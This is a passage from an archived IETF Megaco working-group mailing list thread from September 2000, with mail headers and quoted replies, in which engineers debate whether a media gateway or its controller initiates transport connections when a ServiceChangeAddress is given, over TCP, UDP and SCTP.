        charset="iso-8859-1"

We agreed that the MG need not have a TCP server, only a client.  If that is
true, then an MGC can never set up a transport connection.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Thursday, September 07, 2000 3:36 PM
To: Rosen, Brian; 'Bharat Kaul'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I'm sorry, Brian, nothing in the current spec. requires that the MG always
be the entity that sets up the transport connection -- only that it indicate
its preferred transport by being the first to initiate a control
association.  I've indicated at least a couple of ways in which the MGC
could be the initiator -- if directed by the MG (through inclusion of the
ServiceChangeAddress parameter) or if it decides to change its source
address  The MG can prevent the first case by not ever passing a
ServiceChangeAddress.  I expect it would be fairly easy to get a consensus
that the MGC cannot arbitrarily shift its source for commands, but must
instead issue a ServiceChange with ServiceChangeAddress or
ServiceChangeMgcId so that the MG ends up controlling the shift.

 -----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Thursday, September 07, 2000 1:48 PM
To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Bharat Kaul'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress



No, no, no.  The MGC never EVER sets up a transport connection.  The MG
always does this.  Remember: the MG does not have a TCP server, only a
client.
So it's always the MG that sets up the TCP connection.  With TCP you get
a full duplex channel, right?

I understand that with UDP, there is no "connection", so this isn't really
much
of an issue except for the timing weirdness.  It did occur to me that I did
make
an incorrect assumption on UDP - the MG could be listening on the new port
before it sent the ServiceChangeAddress, so the MGC can go ahead and send
the next command without any further ado.

There are two variables and four resulting circumstances where this can
occur.
I think 1.5 of them work.

The variables are who sends ServiceChange command, and who sends
ServiceChangeAddress.

When the MG sends ServiceChange command, and it sends ServiceChangeAddress,
you have a nonsense situation.  It's saying "send the reply to this command
at the
address I sent it from, send further commands to a new address".  The
problem
exists, because the MGC replies to the command at the old address, but then
has to wait until the MG creates the new transport to send the next command.

When the MG sends the ServiceChange command, but the MGC sets
ServiceChangeAddress, this is a "normal" case of something like a pooled
MGC,
or multiple network interfaces.  The same situation exists; the MGC has to
wait until
the MG sets up the new transport before sending the next command.

When the MGC sends the ServiceChange, and it sets the ServiceChangeAddress,
this is the normal handoff.  Here, things work, because the MG replies to
the old
address, tears down the transport and then SENDS A NEW SERVICECHANGE
command.  This is the way I want all of the cases to work, but it's the way
it
is already defined for this case.

The last case is truly warped.  The MGC sends a ServiceChange, and the MG
replies with a new address.  Sort of "well, while we are changing things,
why
don't we change my address".  If the ServiceChange the MG sent is handoff,
(which implies the MGC also set ServiceChangeAddress), everything is fine.
The MG replies to the old address, and then sets up the transport and sends
a
new ServiceChange command.  If the MGC just did something else, then we are
back in the state where the MGC has to wait for the new transport to be set
up
by the MG before it can send a new command.

Brian



------_=_NextPart_001_01C01909.67CF1AC0
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>

<META content="MSHTML 5.00.3017.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=450592120-07092000>We
agreed that the MG need not have a TCP server, only a client.&nbsp; If that
is</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=450592120-07092000>true,
then an MGC can never set up a transport connection.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=450592120-07092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=450592120-07092000>Brian</SPAN></FONT></DIV>
<BLOCKQUOTE
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]<BR><B>Sent:</B> Thursday, September 07,
  2000 3:36 PM<BR><B>To:</B> Rosen, Brian; 'Bharat Kaul'; 'Flemming
  Andreasen'<BR><B>Cc:</B>
  megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
  port on a ServiceChangeAddress<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=240232519-07092000>I'm
  sorry, Brian, nothing in the current spec. requires that the MG always be the
  entity that sets up the transport connection -- only that it indicate its
  preferred transport by being the first to initiate a control
  association.&nbsp; I've indicated at least a couple of ways in which the MGC
  could be the initiator -- if directed by the MG (through inclusion of the
  ServiceChangeAddress parameter) or if it decides to change its source
  address&nbsp; The MG can prevent the first case by not ever passing a
  ServiceChangeAddress.&nbsp; I expect it would be fairly easy to get a
  consensus that the MGC cannot arbitrarily shift its source for commands, but
  must instead issue a ServiceChange with ServiceChangeAddress or
  ServiceChangeMgcId so that the MG ends up controlling the
  shift.</SPAN></FONT></DIV>
  <DIV><SPAN class=240232519-07092000></SPAN><FONT face=Tahoma><FONT
  size=2><SPAN class=240232519-07092000><FONT color=#0000ff
  face=Arial>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
  <DIV><FONT face=Tahoma><FONT size=2><SPAN
  class=240232519-07092000>&nbsp;</SPAN>-----Original
  Message-----<BR><B>From:</B> Rosen, Brian
  [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Thursday, September 07, 2000
  1:48 PM<BR><B>To:</B> Taylor, Tom-PT [NORSE:B901:EXCH]; 'Bharat Kaul';
  'Flemming Andreasen'<BR><B>Cc:</B>
  megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
  port on a ServiceChangeAddress<BR><BR></DIV></FONT>
  <BLOCKQUOTE
  style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"></FONT>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>No, no, no.&nbsp; The MGC never EVER sets up a
    transport connection.&nbsp; The MG</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>always does this.&nbsp; Remember: the MG does not
    have a TCP server, only a client.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>So
    it's always the MG that sets up the TCP connection.&nbsp; With TCP you
    get</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>a
    full duplex channel, right? </SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>I
    understand that with UDP, there is no "connection", so this isn't really
    much</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>of
    an issue except for the timing weirdness.&nbsp; It did occur to me that I
    did make</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>an
    incorrect assumption on UDP - the MG could be listening on the new
    port</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>before it sent the ServiceChangeAddress, so the MGC
    can go ahead and send</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>the next command without any further
    ado.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>There are two variables and four resulting
    circumstances where this can occur.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>I
    think 1.5 of them work.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>The variables are who sends ServiceChange command,
    and who sends ServiceChangeAddress.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>When the MG sends ServiceChange command, and it
    sends ServiceChangeAddress,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>you have a nonsense situation.&nbsp; It's saying
    "send the reply to this </SPAN></FONT><FONT color=#0000ff face=Arial
    size=2><SPAN class=580411417-07092000>command at the </SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>address I sent it from, send further commands to a
    new address".&nbsp; The problem</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>exists, because the MGC replies to the command at
    the old address, but then</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>has to wait until the MG creates the new transport
    to send the next command.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>When the MG sends the ServiceChange command, but
    the MGC sets ServiceChangeAddress, this is a "normal" case of something like
    a pooled MGC,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>or
    multiple network interfaces.&nbsp; The same situation exists; the MGC has to
    wait until</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>the MG sets up the new transport before sending the
    next command.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>When the MGC sends the ServiceChange, and it sets
    the ServiceChangeAddress,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>this is the normal handoff.&nbsp; Here, things
    work, because the MG replies to the old</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>address, tears down the transport and then SENDS A
    NEW SERVICECHANGE</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>command.&nbsp; This is the way I want all of the
    cases to work, but it's the way it</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>is
    already defined for this case.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>The last case is truly warped.&nbsp; The MGC sends
    a ServiceChange, and the MG</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>replies with a new address.&nbsp; Sort of "well,
    while we are changing things, why</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>don't we change my address".&nbsp; If the
    ServiceChange the MG sent is handoff,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>(which implies the MGC also set
    ServiceChangeAddress), everything is fine.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>The MG replies to the old address, and then sets up
    the transport and sends a </SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>new ServiceChange command.&nbsp;
    </SPAN></FONT><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>If the MGC just did something else, then we are
    </SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>back in the state where the </SPAN></FONT><FONT
    color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>MGC has to
    wait for the new transport to be set up </SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=580411417-07092000>by
    the MG before it can </SPAN></FONT><FONT color=#0000ff face=Arial
    size=2><SPAN class=580411417-07092000>send a new
command.</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000>Brian</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=Arial size=2><SPAN
    class=580411417-07092000></SPAN></FONT>&nbsp;</DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C01909.67CF1AC0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 16:33:36 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26562
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 16:33:35 -0400 (EDT)
Received: from standards (47.234.32.16:3005) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB914EC@standards.nortelnetworks.com>; Thu, 7 Sep 2000 16:18:31 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23228 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 16:18:30 -0400
Received: from sheffield.cnchost.com (sheffield.concentric.net) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB914EB@standards.nortelnetworks.com>; Thu, 7 Sep 2000
          16:18:28 -0400
Received: from MATT.ascend.com (w066.z208037018.sjc-ca.dsl.cnc.net
          [208.37.18.66]) by sheffield.cnchost.com id QAA07994; Thu, 7 Sep 2000
          16:31:30 -0400 (EDT) [ConcentricHost SMTP Relay 1.8]
Errors-To: <matt@ipverse.com>
X-Sender: matt@ipverse.com@pop3.ipverse.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.3.1.2.20000907132722.00afdf00@pop3.ipverse.com>
Date:         Thu, 7 Sep 2000 13:30:57 -0700
Reply-To: Matt Holdrege <matt@ipverse.com>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Matt Holdrege <matt@ipverse.com>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF678831@whq-msgusr-02.pit.c
              omms.marconi.com>

Never say never. It's preferred due to the low-end clients, but MGC
implementations can certainly contact MG's that do support incoming
connections.

Yes I know this can make things more complicated as a standard, but there
are real world reasons for initiating from an MGC so it will happen
regardless.

I don't think this is an issue when using SCTP in any case, right?


At 04:22 PM 9/7/00 -0400, Rosen, Brian wrote:
>We agreed that the MG need not have a TCP server, only a client.  If that is
>true, then an MGC can never set up a transport connection.
>
>Brian
>>-----Original Message-----
>>From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
>>Sent: Thursday, September 07, 2000 3:36 PM
>>To: Rosen, Brian; 'Bharat Kaul'; 'Flemming Andreasen'
>>Cc: megaco@standards.nortelnetworks.com
>>Subject: RE: Supplying only a port on a ServiceChangeAddress
>>
>>I'm sorry, Brian, nothing in the current spec. requires that the MG
>>always be the entity that sets up the transport connection -- only that
>>it indicate its preferred transport by being the first to initiate a
>>control association.  I've indicated at least a couple of ways in which
>>the MGC could be the initiator -- if directed by the MG (through
>>inclusion of the ServiceChangeAddress parameter) or if it decides to
>>change its source address  The MG can prevent the first case by not ever
>>passing a ServiceChangeAddress.  I expect it would be fairly easy to get
>>a consensus that the MGC cannot arbitrarily shift its source for
>>commands, but must instead issue a ServiceChange with
>>ServiceChangeAddress or ServiceChangeMgcId so that the MG ends up
>>controlling the shift.
>>
>>  -----Original Message-----
>>From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
>>Sent: Thursday, September 07, 2000 1:48 PM
>>To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Bharat Kaul'; 'Flemming Andreasen'
>>Cc: megaco@standards.nortelnetworks.com
>>Subject: RE: Supplying only a port on a ServiceChangeAddress
>>
>>>No, no, no.  The MGC never EVER sets up a transport connection.  The MG
>>>always does this.  Remember: the MG does not have a TCP server, only a
>>>client.
>>>So it's always the MG that sets up the TCP connection.  With TCP you get
>>>a full duplex channel, right?
>>>
>>>I understand that with UDP, there is no "connection", so this isn't
>>>really much
>>>of an issue except for the timing weirdness.  It did occur to me that I
>>>did make
>>>an incorrect assumption on UDP - the MG could be listening on the new port
>>>before it sent the ServiceChangeAddress, so the MGC can go ahead and send
>>>the next command without any further ado.
>>>
>>>There are two variables and four resulting circumstances where this can
>>>occur.
>>>I think 1.5 of them work.
>>>
>>>The variables are who sends ServiceChange command, and who sends
>>>ServiceChangeAddress.
>>>
>>>When the MG sends ServiceChange command, and it sends ServiceChangeAddress,
>>>you have a nonsense situation.  It's saying "send the reply to this
>>>command at the
>>>address I sent it from, send further commands to a new address".  The
>>>problem
>>>exists, because the MGC replies to the command at the old address, but then
>>>has to wait until the MG creates the new transport to send the next command.
>>>
>>>When the MG sends the ServiceChange command, but the MGC sets
>>>ServiceChangeAddress, this is a "normal" case of something like a pooled MGC,
>>>or multiple network interfaces.  The same situation exists; the MGC has
>>>to wait until
>>>the MG sets up the new transport before sending the next command.
>>>
>>>When the MGC sends the ServiceChange, and it sets the ServiceChangeAddress,
>>>this is the normal handoff.  Here, things work, because the MG replies
>>>to the old
>>>address, tears down the transport and then SENDS A NEW SERVICECHANGE
>>>command.  This is the way I want all of the cases to work, but it's the
>>>way it
>>>is already defined for this case.
>>>
>>>The last case is truly warped.  The MGC sends a ServiceChange, and the MG
>>>replies with a new address.  Sort of "well, while we are changing
>>>things, why
>>>don't we change my address".  If the ServiceChange the MG sent is handoff,
>>>(which implies the MGC also set ServiceChangeAddress), everything is fine.
>>>The MG replies to the old address, and then sets up the transport and
>>>sends a
>>>new ServiceChange command.  If the MGC just did something else, then we are
>>>back in the state where the MGC has to wait for the new transport to be
>>>set up
>>>by the MG before it can send a new command.
>>>
>>>Brian
>>>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 16:46:29 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26776
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 16:46:29 -0400 (EDT)
Received: from standards (47.234.32.16:3005) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9151F@standards.nortelnetworks.com>; Thu, 7 Sep 2000 16:31:40 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23298 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 16:31:40 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9151E@standards.nortelnetworks.com>; Thu, 7 Sep 2000 16:31:35
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id QAA18947; Thu, 7 Sep 2000 16:44:39 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id QAA15476; Thu, 7 Sep 2000 16:44:39 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH537>; Thu, 7 Sep 2000 16:44:38 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678833@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 7 Sep 2000 16:44:25 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Matt Holdrege <matt@ipverse.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Why?

There is very low overhead in re-establishing a control relationship instead
of changing an address.  If you need to,
you can even save the state in the MGC and not have to audit.
If you always, uniformly, without exception, change addresses
by forcing a ServiceChange exchange:
        The MG is simpler
        The MGC is not adversely affected
        The text is simpler

This is a Good Thing (tm).

I'm not suggesting that we not allow an MGC to initiate
a change of address.  I'm suggesting that when it does, the
uniform response of the MG is to break the connection, create a new one, and
send ServiceChange to the new address.

You aren't suggesting that we allow the MGC to INITIATE a control session
are you?  The text does not support that.

With SCTP, you don't have a client server issue, but you do have a full
duplex connection.  If one end changes the path (is that really what I want
to say?), as opposed to changing one or more transport addresses, then I
think you want to classify that as a change of control association and force
the MG to send ServiceChange.

Brian

> -----Original Message-----
> From: Matt Holdrege [mailto:matt@ipverse.com]
> Sent: Thursday, September 07, 2000 4:31 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> Never say never. It's preferred due to the low-end clients, but MGC
> implementations can certainly contact MG's that do support incoming
> connections.
>
> Yes I know this can make things more complicated as a
> standard, but there
> are real world reasons for initiating from an MGC so it will happen
> regardless.
>
> I don't think this is an issue when using SCTP in any case, right?
>
>
> At 04:22 PM 9/7/00 -0400, Rosen, Brian wrote:
> >We agreed that the MG need not have a TCP server, only a
> client.  If that is
> >true, then an MGC can never set up a transport connection.
> >
> >Brian
> >>-----Original Message-----
> >>From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> >>Sent: Thursday, September 07, 2000 3:36 PM
> >>To: Rosen, Brian; 'Bharat Kaul'; 'Flemming Andreasen'
> >>Cc: megaco@standards.nortelnetworks.com
> >>Subject: RE: Supplying only a port on a ServiceChangeAddress
> >>
> >>I'm sorry, Brian, nothing in the current spec. requires that the MG
> >>always be the entity that sets up the transport connection
> -- only that
> >>it indicate its preferred transport by being the first to
> initiate a
> >>control association.  I've indicated at least a couple of
> ways in which
> >>the MGC could be the initiator -- if directed by the MG (through
> >>inclusion of the ServiceChangeAddress parameter) or if it
> decides to
> >>change its source address  The MG can prevent the first
> case by not ever
> >>passing a ServiceChangeAddress.  I expect it would be
> fairly easy to get
> >>a consensus that the MGC cannot arbitrarily shift its source for
> >>commands, but must instead issue a ServiceChange with
> >>ServiceChangeAddress or ServiceChangeMgcId so that the MG ends up
> >>controlling the shift.
> >>
> >>  -----Original Message-----
> >>From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> >>Sent: Thursday, September 07, 2000 1:48 PM
> >>To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Bharat Kaul';
> 'Flemming Andreasen'
> >>Cc: megaco@standards.nortelnetworks.com
> >>Subject: RE: Supplying only a port on a ServiceChangeAddress
> >>
> >>>No, no, no.  The MGC never EVER sets up a transport
> connection.  The MG
> >>>always does this.  Remember: the MG does not have a TCP
> server, only a
> >>>client.
> >>>So it's always the MG that sets up the TCP connection.
> With TCP you get
> >>>a full duplex channel, right?
> >>>
> >>>I understand that with UDP, there is no "connection", so
> this isn't
> >>>really much
> >>>of an issue except for the timing weirdness.  It did occur
> to me that I
> >>>did make
> >>>an incorrect assumption on UDP - the MG could be listening
> on the new port
> >>>before it sent the ServiceChangeAddress, so the MGC can go
> ahead and send
> >>>the next command without any further ado.
> >>>
> >>>There are two variables and four resulting circumstances
> where this can
> >>>occur.
> >>>I think 1.5 of them work.
> >>>
> >>>The variables are who sends ServiceChange command, and who sends
> >>>ServiceChangeAddress.
> >>>
> >>>When the MG sends ServiceChange command, and it sends
> ServiceChangeAddress,
> >>>you have a nonsense situation.  It's saying "send the
> reply to this
> >>>command at the
> >>>address I sent it from, send further commands to a new
> address".  The
> >>>problem
> >>>exists, because the MGC replies to the command at the old
> address, but then
> >>>has to wait until the MG creates the new transport to send
> the next command.
> >>>
> >>>When the MG sends the ServiceChange command, but the MGC sets
> >>>ServiceChangeAddress, this is a "normal" case of something
> like a pooled MGC,
> >>>or multiple network interfaces.  The same situation
> exists; the MGC has
> >>>to wait until
> >>>the MG sets up the new transport before sending the next command.
> >>>
> >>>When the MGC sends the ServiceChange, and it sets the
> ServiceChangeAddress,
> >>>this is the normal handoff.  Here, things work, because
> the MG replies
> >>>to the old
> >>>address, tears down the transport and then SENDS A NEW
> SERVICECHANGE
> >>>command.  This is the way I want all of the cases to work,
> but it's the
> >>>way it
> >>>is already defined for this case.
> >>>
> >>>The last case is truly warped.  The MGC sends a
> ServiceChange, and the MG
> >>>replies with a new address.  Sort of "well, while we are changing
> >>>things, why
> >>>don't we change my address".  If the ServiceChange the MG
> sent is handoff,
> >>>(which implies the MGC also set ServiceChangeAddress),
> everything is fine.
> >>>The MG replies to the old address, and then sets up the
> transport and
> >>>sends a
> >>>new ServiceChange command.  If the MGC just did something
> else, then we are
> >>>back in the state where the MGC has to wait for the new
> transport to be
> >>>set up
> >>>by the MG before it can send a new command.
> >>>
> >>>Brian
> >>>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 16:54:03 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26956
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 16:54:02 -0400 (EDT)
Received: from standards (47.234.32.16:3005) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9154C@standards.nortelnetworks.com>; Thu, 7 Sep 2000 16:39:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23357 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 16:39:08 -0400
Received: from qhars002.nortel.com (47.101.112.102:41099) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9154B@standards.nortelnetworks.com>; Thu, 7 Sep 2000
          16:39:08 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Thu, 7 Sep 2000
          21:51:31 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Thu, 7 Sep
          2000 16:50:29 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37AD3HP>; Thu, 7 Sep 2000 16:50:29 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D44@zcard00g.ca.nortel.com>
Date:         Thu, 7 Sep 2000 16:50:22 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>,
              Bharat Kaul <bharat@trillium.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Everyone who responded agreed.  I'm waiting for a view from the MGC side of
things.

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Thursday, September 07, 2000 4:23 PM
To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Bharat Kaul'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


We agreed that the MG need not have a TCP server, only a client.  If that is
true, then an MGC can never set up a transport connection.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Thursday, September 07, 2000 3:36 PM
To: Rosen, Brian; 'Bharat Kaul'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I'm sorry, Brian, nothing in the current spec. requires that the MG always
be the entity that sets up the transport connection -- only that it indicate
its preferred transport by being the first to initiate a control
association.  I've indicated at least a couple of ways in which the MGC
could be the initiator -- if directed by the MG (through inclusion of the
ServiceChangeAddress parameter) or if it decides to change its source
address  The MG can prevent the first case by not ever passing a
ServiceChangeAddress.  I expect it would be fairly easy to get a consensus
